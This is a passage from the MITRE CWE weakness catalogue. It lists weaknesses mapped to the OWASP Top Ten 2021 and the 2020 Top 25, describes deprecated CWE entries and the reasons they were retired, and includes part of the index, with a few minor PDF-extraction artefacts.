 - B CWE-266: Incorrect Privilege Assignment (p.592)
 - C CWE-269: Improper Privilege Management (p.600)
 - B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.625)
 - C CWE-311: Missing Encryption of Sensitive Data (p.701)
 - B CWE-312: Cleartext Storage of Sensitive Information (p.708)
 - V CWE-313: Cleartext Storage in a File or on Disk (p.712)
 - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.717)
 - B CWE-419: Unprotected Primary Channel (p.934)
 - B CWE-430: Deployment of Wrong Handler (p.956)
 - B CWE-434: Unrestricted Upload of File with Dangerous Type (p.962)
 - B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p.980)
 - C CWE-451: User Interface (UI) Misrepresentation of Critical Information (p.990)
 - B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1032)
 - B CWE-501: Trust Boundary Violation (p.1102)
 - C CWE-522: Insufficiently Protected Credentials (p.1123)
 - V CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1129)
 - V CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1144)
 - V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p.1197)
 - V CWE-598: Use of GET Request Method With Sensitive Query Strings (p.1225)
 - B CWE-602: Client-Side Enforcement of Server-Side Security (p.1235)
 - C CWE-642: External Control of Critical State Data (p.1293)
 - V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p.1304)
 - V CWE-650: Trusting HTTP Permission Methods on the Server Side (p.1310)
 - B CWE-653: Improper Isolation or Compartmentalization (p.1315)
 - B CWE-656: Reliance on Security Through Obscurity (p.1321)
 - C CWE-657: Violation of Secure Design Principles (p.1323)
 - C CWE-799: Improper Control of Interaction Frequency (p.1539)
 - B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1553)
 - C CWE-840: Business Logic Errors (p.2077)
 - B CWE-841: Improper Enforcement of Behavioral Workflow (p.1607)
 - V CWE-927: Use of Implicit Intent for Sensitive Communication (p.1662)
 - B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1683)
 - B CWE-1173: Improper Use of Validation Framework (p.1775)
- C CWE-1349: OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration (p.2209)
 - C CWE-2: 7PK - Environment (p.2024)
 - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
 - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
 - B CWE-15: External Control of System or Configuration Setting (p.17)
 - C CWE-16: Configuration (p.2025)
 - B CWE-260: Password in Configuration File (p.584)
 - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.715)
 - V CWE-520: .NET Misconfiguration: Use of Impersonation (p.1120)
 - V CWE-526: Exposure of Sensitive Information Through Environmental Variables (p.1130)
 - V CWE-537: Java Runtime Error Message Containing Sensitive Information (p.1140)

- V CWE-541: Inclusion of Sensitive Information in an Include File (p.1146)
- V CWE-547: Use of Hard-coded, Security-relevant Constants (p.1152)
- B CWE-611: Improper Restriction of XML External Entity Reference (p.1249)
- V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p.1255)
- B CWE-756: Missing Custom Error Page (p.1430)
- B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1482)
- V CWE-942: Permissive Cross-domain Policy with Untrusted Domains (p.1673)
- V CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p.1677)
- C CWE-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration (p.2154)
- V CWE-1174: ASP.NET Misconfiguration: Improper Model Validation (p.1777)
- C CWE-1352: OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components (p.2210)
- C CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities (p.2109)
- C CWE-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities (p.2155)
- B CWE-1104: Use of Unmaintained Third Party Components (p.1756)
- C CWE-1353: OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures (p.2210)
- C CWE-255: Credentials Management Errors (p.2032)
- V CWE-259: Use of Hard-coded Password (p.580)
- C CWE-287: Improper Authentication (p.643)
- B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.649)
- B CWE-290: Authentication Bypass by Spoofing (p.653)
- B CWE-294: Authentication Bypass by Capture-replay (p.660)
- B CWE-295: Improper Certificate Validation (p.662)
- V CWE-297: Improper Validation of Certificate with Host Mismatch (p.670)
- C CWE-300: Channel Accessible by Non-Endpoint (p.677)
- V CWE-302: Authentication Bypass by Assumed-Immutable Data (p.682)
- B CWE-304: Missing Critical Step in Authentication (p.685)
- B CWE-306: Missing Authentication for Critical Function (p.688)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p.692)
- B CWE-346: Origin Validation Error (p.783)
- B CWE-384: Session Fixation (p.863)
- B CWE-521: Weak Password Requirements (p.1120)
- B CWE-613: Insufficient Session Expiration (p.1253)
- B CWE-620: Unverified Password Change (p.1264)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1288)
- B CWE-798: Use of Hard-coded Credentials (p.1532)
- B CWE-940: Improper Verification of Source of a Communication Channel (p.1668)
- C CWE-1216: Lockout Mechanism Errors (p.2194)
- C CWE-1354: OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures (p.2211)
- C CWE-345: Insufficient Verification of Data Authenticity (p.781)
- B CWE-353: Missing Support for Integrity Check (p.803)
- B CWE-426: Untrusted Search Path (p.944)
- B CWE-494: Download of Code Without Integrity Check (p.1086)
- B CWE-502: Deserialization of Untrusted Data (p.1103)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1173)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1498)
- B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1579)
- V CWE-830: Inclusion of Web Functionality from an Untrusted Source (p.1585)
- B CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p.1641)
- C CWE-1355: OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures (p.2212)
- B CWE-117: Improper Output Neutralization for Logs (p.270)
- B CWE-223: Omission of Security-relevant Information (p.523)

- B CWE-532: Insertion of Sensitive Information into Log File (p.1136)
- B CWE-778: Insufficient Logging (p.1486)
- C CWE-1356: OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF) (p.2213)
- B CWE-918: Server-Side Request Forgery (SSRF) (p.1650)

Graph View: CWE-1350: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses

-  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.154)
-  CWE-787: Out-of-bounds Write (p.1505)
-  CWE-20: Improper Input Validation (p.19)
-  CWE-125: Out-of-bounds Read (p.307)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.274)
-  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.189)
-  CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.474)
-  CWE-416: Use After Free (p.930)
-  CWE-352: Cross-Site Request Forgery (CSRF) (p.797)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.142)
-  CWE-190: Integer Overflow or Wraparound (p.443)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.31)
-  CWE-476: NULL Pointer Dereference (p.1039)
-  CWE-287: Improper Authentication (p.643)
-  CWE-434: Unrestricted Upload of File with Dangerous Type (p.962)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p.1407)
-  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.207)
-  CWE-522: Insufficiently Protected Credentials (p.1123)
-  CWE-611: Improper Restriction of XML External Entity Reference (p.1249)
-  CWE-798: Use of Hard-coded Credentials (p.1532)
-  CWE-502: Deserialization of Untrusted Data (p.1103)
-  CWE-269: Improper Privilege Management (p.600)
-  CWE-400: Uncontrolled Resource Consumption (p.889)
-  CWE-306: Missing Authentication for Critical Function (p.688)
-  CWE-862: Missing Authorization (p.1615)

Deprecated

CWE-1: DEPRECATED: Location

CWE ID : 1

Status: Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-3: DEPRECATED: Technology-specific Environment Issues

CWE ID : 3

Status: Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).

CWE-4: DEPRECATED: J2EE Environment Issues

CWE ID : 4

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-10: DEPRECATED: ASP.NET Environment Issues

CWE ID : 10

Status: Deprecated

Summary

This category has been deprecated. It added unnecessary depth and complexity to its associated views.

CWE-17: DEPRECATED: Code

CWE ID : 17

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-18: DEPRECATED: Source Code

CWE ID : 18

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-21: DEPRECATED: Pathname Traversal and Equivalence Errors

CWE ID : 21

Status: Deprecated

Summary

This category has been deprecated. It was originally used for organizing weaknesses involving file names, which enabled access to files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Consider using either the File Handling Issues category (CWE-1219) or the class Use of Incorrectly-Resolved Name or Reference (CWE-706).

CWE-60: DEPRECATED: UNIX Path Link Problems

CWE ID : 60

Status: Deprecated

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

CWE-63: DEPRECATED: Windows Path Link Problems

CWE ID : 63

Status: Deprecated

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

CWE-68: DEPRECATED: Windows Virtual File Problems

CWE ID : 68

Status: Deprecated

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

CWE-70: DEPRECATED: Mac Virtual File Problems

CWE ID : 70

Status: Deprecated

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

CWE-71: DEPRECATED: Apple '.DS_Store'

CWE ID : 71

Status: Deprecated

Description

This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to CWE-62.

CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

CWE ID : 92

Status: Deprecated

Description

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

CWE-100: DEPRECATED: Technology-Specific Input Validation Problems

CWE ID : 100

Status: Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-101: DEPRECATED: Struts Validation Problems

CWE ID : 101

Status: Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-132: DEPRECATED: Miscalculated Null Termination

CWE ID : 132

Status: Deprecated

CWE-71: DEPRECATED: Apple '.DS_Store'

Description

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

CWE-139: DEPRECATED: General Special Element Problems

CWE ID : 139

Status: Deprecated

Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

CWE-169: DEPRECATED: Technology-Specific Special Elements

CWE ID : 169

Status: Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-171: DEPRECATED: Cleansing, Canonicalization, and Comparison Errors

CWE ID : 171

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree. Weaknesses in this category were related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data. These weaknesses can be found in other similar categories.

CWE-216: DEPRECATED: Containment Errors (Container Errors)

CWE ID : 216

Status: Deprecated

Description

This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry.

CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

CWE ID : 217

Status: Deprecated

Description

This entry has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this entry can be found at CWE-766 and CWE-767.

CWE-218: DEPRECATED: Failure to provide confidentiality for stored data

CWE ID : 218

Status: Deprecated

Description

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

CWE-225: DEPRECATED: General Information Management Problems

CWE ID : 225

Status: Deprecated

Description

This weakness can be found at CWE-199.

CWE-247: DEPRECATED: Reliance on DNS Lookups in a Security Decision

CWE ID : 247

Status: Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

CWE-249: DEPRECATED: Often Misused: Path Manipulation

CWE ID : 249

Status: Deprecated

Description

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785. This entry was deprecated for several reasons. The primary reason is over-loading of the "path manipulation" term and the description. The original description for this entry was the same as that for the "Often Misused: File System" item in the original Seven Pernicious Kingdoms paper. However, Seven Pernicious Kingdoms also has a "Path Manipulation" phrase that is for external control of pathnames (CWE-73), which is a factor in symbolic link following and path traversal, neither of which is explicitly mentioned in 7PK. Fortify uses the phrase "Often Misused: Path Manipulation" for a broader range of problems, generally for issues related to buffer management. Given the multiple conflicting uses of this term, there is a chance that CWE users may have incorrectly mapped to this entry. The second reason for deprecation is an implied combination of multiple weaknesses within buffer-handling functions. The focus of this entry was generally on the path-conversion functions and their association with buffer overflows. However, some of Fortify's Vulncat entries have the term "path manipulation" but describe a non-overflow weakness in which the buffer is not guaranteed to contain the entire pathname, i.e., there is information truncation (see CWE-222 for a

similar concept). A new entry for this non-overflow weakness may be created in a future version of CWE.

CWE-292: DEPRECATED: Trusting Self-reported DNS Name

CWE ID : 292

Status: Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

CWE-373: DEPRECATED: State Synchronization Error

CWE ID : 373

Status: Deprecated

Description

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

CWE-376: DEPRECATED: Temporary File Issues

CWE ID : 376

Status: Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. Consider using the File Handling Issues category (CWE-1219).

CWE-380: DEPRECATED: Technology-Specific Time and State Issues

CWE ID : 380

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-381: DEPRECATED: J2EE Time and State Issues

CWE ID : 381

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-418: DEPRECATED: Channel Errors

CWE ID : 418

Status: Deprecated

Summary

This category has been deprecated because it is redundant with the grouping provided by CWE-417.

CWE-423: DEPRECATED: Proxied Trusted Channel

CWE ID : 423

Status: Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

CWE-442: DEPRECATED: Web Problems

CWE ID : 442

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-443: DEPRECATED: HTTP response splitting

CWE ID : 443

Status: Deprecated

Description

This weakness can be found at CWE-113.

CWE-445: DEPRECATED: User Interface Errors

CWE ID : 445

Status: Deprecated

Summary

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

CWE-458: DEPRECATED: Incorrect Initialization

CWE ID : 458

Status: Deprecated

Description

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

CWE-461: DEPRECATED: Data Structure Issues

| | |
|--------------|--------------------|
| CWE ID : 461 | Status: Deprecated |
|--------------|--------------------|

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-490: DEPRECATED: Mobile Code Issues

| | |
|--------------|--------------------|
| CWE ID : 490 | Status: Deprecated |
|--------------|--------------------|

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-503: DEPRECATED: Byte/Object Code

| | |
|--------------|--------------------|
| CWE ID : 503 | Status: Deprecated |
|--------------|--------------------|

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-504: DEPRECATED: Motivation/Intent

| | |
|--------------|--------------------|
| CWE ID : 504 | Status: Deprecated |
|--------------|--------------------|

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-505: DEPRECATED: Intentionally Introduced Weakness

| | |
|--------------|--------------------|
| CWE ID : 505 | Status: Deprecated |
|--------------|--------------------|

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-513: DEPRECATED: Intentionally Introduced Nonmalicious Weakness

CWE ID : 513

Status: Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-516: DEPRECATED: Covert Timing Channel

CWE ID : 516

Status: Deprecated

Description

This weakness can be found at CWE-385.

CWE-517: DEPRECATED: Other Intentional, Nonmalicious Weakness

CWE ID : 517

Status: Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-518: DEPRECATED: Inadvertently Introduced Weakness

CWE ID : 518

Status: Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-519: DEPRECATED: .NET Environment Issues

CWE ID : 519

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-533: DEPRECATED: Information Exposure Through Server Log Files

CWE ID : 533

Status: Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-534: DEPRECATED: Information Exposure Through Debug Log Files

CWE ID : 534

Status: Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-542: DEPRECATED: Information Exposure Through Cleanup Log Files

CWE ID : 542

Status: Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-545: DEPRECATED: Use of Dynamic Class Loading

CWE ID : 545

Status: Deprecated

Description

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

CWE-559: DEPRECATED: Often Misused: Arguments and Parameters

CWE ID : 559

Status: Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-592: DEPRECATED: Authentication Bypass Issues

CWE ID : 592

Status: Deprecated

Description

This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

CWE-596: DEPRECATED: Incorrect Semantic Object Comparison

CWE ID : 596

Status: Deprecated

Description

This weakness has been deprecated. It was poorly described and difficult to distinguish from other entries. It was also inappropriate to assign a separate ID solely because of domain-specific considerations. Its closest equivalent is CWE-1023.

CWE-630: DEPRECATED: Weaknesses Examined by SAMATE

CWE ID : 630

Status: Deprecated

Objective

This view has been deprecated. It was only used for an early year of the NIST SAMATE project, and it did not represent any official or commonly-utilized list.

CWE-631: DEPRECATED: Resource-specific Weaknesses

CWE ID : 631

Status: Deprecated

Objective

This view has been deprecated because it is not actively maintained and does not provide utility to stakeholders. It was originally created before CWE 1.0 as a simple example of how views could be structured within CWE.

CWE-632: DEPRECATED: Weaknesses that Affect Files or Directories

CWE ID : 632

Status: Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-633: DEPRECATED: Weaknesses that Affect Memory

CWE ID : 633

Status: Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-634: DEPRECATED: Weaknesses that Affect System Processes

CWE ID : 634

Status: Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-679: DEPRECATED: Chain Elements

CWE ID : 679

Status: Deprecated

Objective

This view has been deprecated. It has limited utility for stakeholders, since all weaknesses can be links in a chain.

CWE-769: DEPRECATED: Uncontrolled File Descriptor Consumption

CWE ID : 769

Status: Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-774. All content has been transferred to CWE-774.

CWE-1187: DEPRECATED: Use of Uninitialized Resource

CWE ID : 1187

Status: Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-908. All content has been transferred to CWE-908.

Glossary

Index

A

Absolute Path Traversal, 70
 Acceptance of Extraneous Untrusted Data With Trusted Data, 791
 Access Control Check Implemented After Asset is Accessed, 1909
 Access of Memory Location After End of Buffer, 1513
 Access of Memory Location Before Start of Buffer, 1503
 Access of Resource Using Incompatible Type ('Type Confusion'), 1611
 Access of Uninitialized Pointer, 1567
 Access to Critical Private Variable via Public Method, 1459
 Active Debug Code, 1073
 Addition of Data Structure Sentinel, 1016
 Allocation of File Descriptors or Handles Without Limits or Throttling, 1479
 Allocation of Resources Without Limits or Throttling, 1463
 Always-Incorrect Control Flow Implementation, 1345
 API / Function Errors, 2198
 Application-Level Admin Tool with Inconsistent View of Underlying Operating System, 1843
 Architectural Concepts, 2241 (*Graph: 2334*)
 Architecture with Number of Horizontal Layers Outside of Expected Range, 1698
 Array Declared Public, Final, and Static, 1201
 ASP.NET Misconfiguration: Creating Debug Binary, 9
 ASP.NET Misconfiguration: Improper Model Validation, 1777
 ASP.NET Misconfiguration: Missing Custom Error Page, 11
 ASP.NET Misconfiguration: Not Using Input Validation Framework, 1160
 ASP.NET Misconfiguration: Password in Configuration File, 12
 ASP.NET Misconfiguration: Use of Identity Impersonation, 1161
 Assigning instead of Comparing, 1057
 Assignment of a Fixed Address to a Pointer, 1208
 Assignment to Variable without Use, 1170
 Assumed-Immutable Data is Stored in Writable Memory, 1912
 Asymmetric Resource Consumption (Amplification), 908
 Attempt to Access Child of a Non-structure Pointer, 1210
 Audit, 2140
 Audit / Logging Errors, 2191
 Authenticate Actors, 2140
 Authentication Bypass by Alternate Name, 651
 Authentication Bypass by Assumed-Immutable Data, 682
 Authentication Bypass by Capture-replay, 660
 Authentication Bypass by Primary Weakness, 687
 Authentication Bypass by Spoofing, 653
 Authentication Bypass Using an Alternate Path or Channel, 649
 Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created, 1216
 Authentication Errors, 2191
 Authorization Bypass Through User-Controlled Key, 1286
 Authorization Bypass Through User-Controlled SQL Primary Key, 1175
 Authorization Errors, 2192
 Authorize Actors, 2142
 Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations, 1694

B

Bad Coding Practices, 2138

Behavioral Change in New Version or Environment, 974
 Behavioral Problems, 2043
 Binding to an Unrestricted IP Address, 1991
 Buffer Access Using Size of Source Buffer, 1549
 Buffer Access with Incorrect Length Value, 1542
 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), 285
 Buffer Over-read, 311
 Buffer Under-read, 314
 Buffer Underwrite ('Buffer Underflow'), 304
 Business Logic Errors, 2077

C

Call to Non-ubiquitous API, 1211
 Call to Thread run() instead of start(), 1184
 Callable with Insufficient Behavioral Summary, 1766
 CERT C Secure Coding Standard (2008) Appendix - POSIX (POS), 2068

 Executable Regular Expression Error, 1271
 Execution After Redirect (EAR), 1393
 Execution with Unnecessary Privileges, 557
 Expected Behavior Violation, 976
 Expired Pointer Dereference, 1569
 Explicit Call to Finalize(), 1207
 Exposed Dangerous Method or Function, 1417
 Exposed IOCTL with Insufficient Access Control, 1493
 Exposed Unsafe ActiveX Method, 1262
 Exposure of Access Control List Files to an Unauthorized Control Sphere, 1133
 Exposure of Backup File to an Unauthorized Control Sphere, 1134
 Exposure of Core Dump File to an Unauthorized Control Sphere, 1132
 Exposure of Data Element to Wrong Session, 1071
 Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'), 900
 Exposure of Information Through Directory Listing, 1153
 Exposure of Information Through Shell Error Message, 1139
 Exposure of Private Personal Information to an Unauthorized Actor, 811
 Exposure of Resource to Wrong Sphere, 1342

Exposure of Sensitive Information Due to Incompatible Policies, 513
 Exposure of Sensitive Information Through Data Queries, 485
 Exposure of Sensitive Information Through Environmental Variables, 1130
 Exposure of Sensitive Information Through Metadata, 1806
 Exposure of Sensitive Information to an Unauthorized Actor, 474
 Exposure of Sensitive System Information Due to Uncleared Debug Information, 1863
 Exposure of Sensitive System Information to an Unauthorized Control Sphere, 1093
 Exposure of Version-Control Repository to an Unauthorized Control Sphere, 1131
 Exposure of WSDL File Containing Sensitive Information, 1312
 Expression is Always False, 1180
 Expression is Always True, 1183
 Expression Issues, 2046
 External Control of Assumed-Immutable Web Parameter, 1032
 External Control of Critical State Data, 1293
 External Control of File Name or Path, 125
 External Control of System or Configuration Setting, 17
 External Influence of Sphere Definition, 1351
 External Initialization of Trusted Variables or Data Stores, 995
 Externally Controlled Reference to a Resource in Another Sphere, 1248
 Externally-Generated Error Message Containing Sensitive Information, 507

F

Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges, 1969
 Failure to Disable Reserved Bits, 1792
 Failure to Handle Incomplete Element, 543
 Failure to Handle Missing Parameter, 537
 Failure to Sanitize Paired Delimiters, 381
 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection), 134
 File Handling Issues, 2196
 Files or Directories Accessible to External Parties, 1157
 finalize() Method Declared Public, 1202
 finalize() Method Without super.finalize(), 1179
 Firmware Not Updateable, 1903
 Floating Point Comparison with Incorrect Operator, 1731
 Free of Memory not on the Heap, 1212
 Free of Pointer not at Start of Buffer, 1442
 Function Call With Incorrect Argument Type, 1373
 Function Call With Incorrect Number of Arguments, 1372
 Function Call With Incorrect Order of Arguments, 1370
 Function Call With Incorrect Variable or Reference as Argument, 1376
 Function Call With Incorrectly Specified Argument Value, 1375
 Function Call with Incorrectly Specified Arguments, 1278

G

General Circuit and Logic Design Concerns, 2187
 Generation of Error Message Containing Sensitive Information, 499
 Generation of Incorrect Security Tokens, 1889
 Generation of Predictable IV with CBC Mode, 745
 Generation of Predictable Numbers or Identifiers, 774
 Generation of Weak Initialization Vector (IV), 1789
 Guessable CAPTCHA, 1541

H

Handler Errors, 2043
 Hardware Allows Activation of Test or Debug Logic at Runtime, 1963
 Hardware Child Block Incorrectly Connected to Parent System, 1901
 Hardware Design, 2250(*Graph*: 2350)
 Hardware Internal or Debug Modes Allow Override of Locks, 1812
 Hardware Logic Contains Race Conditions, 1941
 Hardware Logic with Insecure De-Synchronization between Control and Data Channels, 1876
 Heap-based Buffer Overflow, 297
 Hidden Functionality, 1637

Identify Actors, 2145
 Improper Access Control, 631
 Improper Access Control Applied to Mirrored or Aliased Memory Regions, 1860
 Improper Access Control for Register Interface, 1871
 Improper Access Control for Volatile Memory Containing Boot Code, 1896
 Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code, 1491
 Improper Adherence to Coding Standards, 1405
 Improper Authentication, 643
 Improper Authorization, 635
 Improper Authorization in Handler for Custom URL Scheme, 1666
 Improper Authorization of Index Containing Sensitive Information, 1252
 Improper Certificate Validation, 662
 Improper Check for Certificate Revocation, 675
 Improper Check for Dropped Privileges, 613
 Improper Check for Unusual or Exceptional Conditions, 1421
 Improper Check or Handling of Exceptional Conditions, 1394
 Improper Cleanup on Thrown Exception, 1011
 Improper Clearing of Heap Memory Before Release ('Heap Inspection'), 550
 Improper Control of a Resource Through its Lifetime, 1328
 Improper Control of Document Type Definition, 1574
 Improper Control of Dynamically-Identified Variables, 1639
 Improper Control of Dynamically-Managed Code Resources, 1638
 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), 220
 Improper Control of Generation of Code ('Code Injection'), 207
 Improper Control of Interaction Frequency, 1539
 Improper Control of Resource Identifiers ('Resource Injection'), 227
 Improper Encoding or Escaping of Output, 263
 Improper Enforcement of a Single, Unique Action, 1598
 Improper Enforcement of Behavioral Workflow, 1607
 Improper Enforcement of Message Integrity During Transmission in a Communication Channel, 1657
 Improper Export of Android Application Components, 1660
 Improper Filtering of Special Elements, 1521
 Improper Finite State Machines (FSMs) in Hardware Logic, 1833
 Improper Following of a Certificate's Chain of Trust, 667
 Improper Following of Specification by Caller, 1186
 Improper Handling of Additional Special Element, 398
 Improper Handling of Alternate Encoding, 408
 Improper Handling of Apple HFS+ Alternate Data Stream Path, 124

Improper Handling of Case Sensitivity, 417
 Improper Handling of Exceptional Conditions, 1429
